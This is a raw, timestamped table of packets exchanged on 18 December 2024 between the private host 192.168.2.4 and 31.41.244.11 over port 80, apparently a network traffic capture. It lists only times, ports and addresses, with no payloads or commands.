Dec 18, 2024 17:08:13.031757116 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.031826019 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.031835079 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.031891108 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.032906055 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.032970905 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.033037901 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.033097029 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.033905029 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.034001112 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.034071922 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.035029888 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.035094023 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.035228014 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.035285950 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.036067009 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.036122084 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.036140919 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.036175966 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.037076950 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.037141085 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.037518024 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.037575006 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.038393974 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.038431883 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.038482904 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.038506985 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.039232016 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.039372921 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.039433956 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.040225983 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.040281057 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.040318012 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.040369987 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.041156054 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.041204929 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.041239977 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.041291952 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.042237043 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.042356014 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.042412043 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.043373108 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.043442965 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.179526091 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.179598093 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.179613113 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.179652929 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.179846048 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.179902077 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.179996014 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.180052996 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.181190968 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.181252003 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.181332111 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.181386948 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.181982994 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.182040930 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.182125092 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.182204962 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.183092117 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.183147907 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.183216095 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.183294058 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.184262991 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.184317112 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.184401989 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.184458017 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.185307026 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.185379982 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.185460091 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.185520887 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.186367035 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.186424017 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.186490059 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.186543941 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.187418938 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.187469959 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.187515020 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.187560081 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.188565016 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.188616991 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.188719034 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.188767910 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.189537048 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.189584970 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.189673901 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.189726114 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.190717936 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.190772057 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.190809965 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.190857887 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.191726923 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.191780090 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.191853046 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.191922903 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.192743063 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.192796946 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.192859888 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.192919016 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.193809986 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.193860054 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.193916082 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.193963051 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.194894075 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.194952011 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.195005894 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.195065022 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.196032047 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.196082115 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.196151018 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.196197033 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.197062016 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.197112083 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.197195053 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.197247028 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.198260069 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.198306084 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.198394060 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.198441982 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.199342012 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.199393034 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.199438095 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.199486017 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.200282097 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.200357914 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.200489044 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.200536966 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.201334953 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.201385975 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.201513052 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.201560974 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.202439070 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.202488899 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.202541113 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.202589989 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.203512907 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.203566074 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.203605890 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.203655958 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.204687119 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.204737902 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.204782963 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.204840899 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.205681086 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.205739975 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.205913067 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.205962896 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.206782103 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.206830978 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.206885099 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.206933022 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.207839966 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.207909107 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.207988024 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.208043098 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.208981037 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.209038019 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.209153891 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.209228992 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.209974051 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.210032940 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.210112095 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.210166931 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.211078882 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.211138010 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.211200953 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.211256027 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.212136030 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.212192059 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.212279081 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.212330103 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.213218927 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.213282108 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.213362932 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.213417053 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.214296103 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.214360952 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.214440107 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.214494944 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.215473890 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.215548038 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.215553045 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.215600967 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.216483116 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.216561079 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.216598988 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.216649055 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.217504025 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.217562914 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.217624903 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.217694044 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.218552113 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.218604088 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.218694925 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.218746901 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.219643116 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.219693899 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.219753981 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.219803095 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.220720053 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.220777988 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.220845938 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.220895052 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.221980095 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.222032070 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.222110987 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.222160101 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.223155975 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.223206043 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.223258972 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.223309994 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.224236012 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.224284887 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.224414110 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.224463940 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.225480080 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.225542068 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.225579023 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.225626945 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.226280928 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.226331949 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.226368904 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.226423025 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.227194071 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.227243900 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.227336884 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.227385998 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.228256941 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.228313923 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.228374958 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.228429079 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.229325056 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.229374886 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.229458094 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.229512930 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.230401039 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.230453968 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.230520010 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.230573893 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.231496096 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.231607914 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.231667042 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.233524084 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.233580112 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.233666897 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.233741999 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.234052896 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.234106064 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.234246016 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.234321117 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.235127926 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.235181093 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.235249043 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.236171007 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.236232996 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.372240067 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.372328043 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.372345924 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.372380972 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.372724056 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.372776985 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.372812033 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.372863054 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.373672009 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.373754978 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.373802900 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.374533892 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.374592066 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.374771118 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.374842882 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.375597954 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.375682116 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.375710964 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.375732899 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.376597881 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.376657963 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.376707077 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.376751900 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.377583027 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.377636909 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.377770901 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.377835035 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.378523111 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.378632069 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.378691912 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.379590034 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.379653931 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.379723072 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.379822016 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.380683899 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.380743027 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.380812883 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.380861998 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.381756067 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.381963968 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.382024050 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.382968903 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.383037090 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.383095026 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.383269072 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.383994102 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.384057045 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.384068012 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.384104013 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.385004044 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.385118961 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.385154009 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.385184050 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.386079073 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.386154890 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.386337042 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.386389017 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.387125969 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.387243986 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.387284040 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.387348890 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.388241053 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.388308048 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.388410091 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.388469934 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.389312983 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.389369965 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.389435053 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.389477968 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.390418053 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.390494108 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.390527010 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.390762091 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.391454935 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.391524076 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.391582012 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.392148018 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.392465115 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.392530918 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.392617941 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.392716885 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.393596888 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.393666983 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.393734932 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.393793106 CET	49749	80	192.168.2.4	31.41.244.11
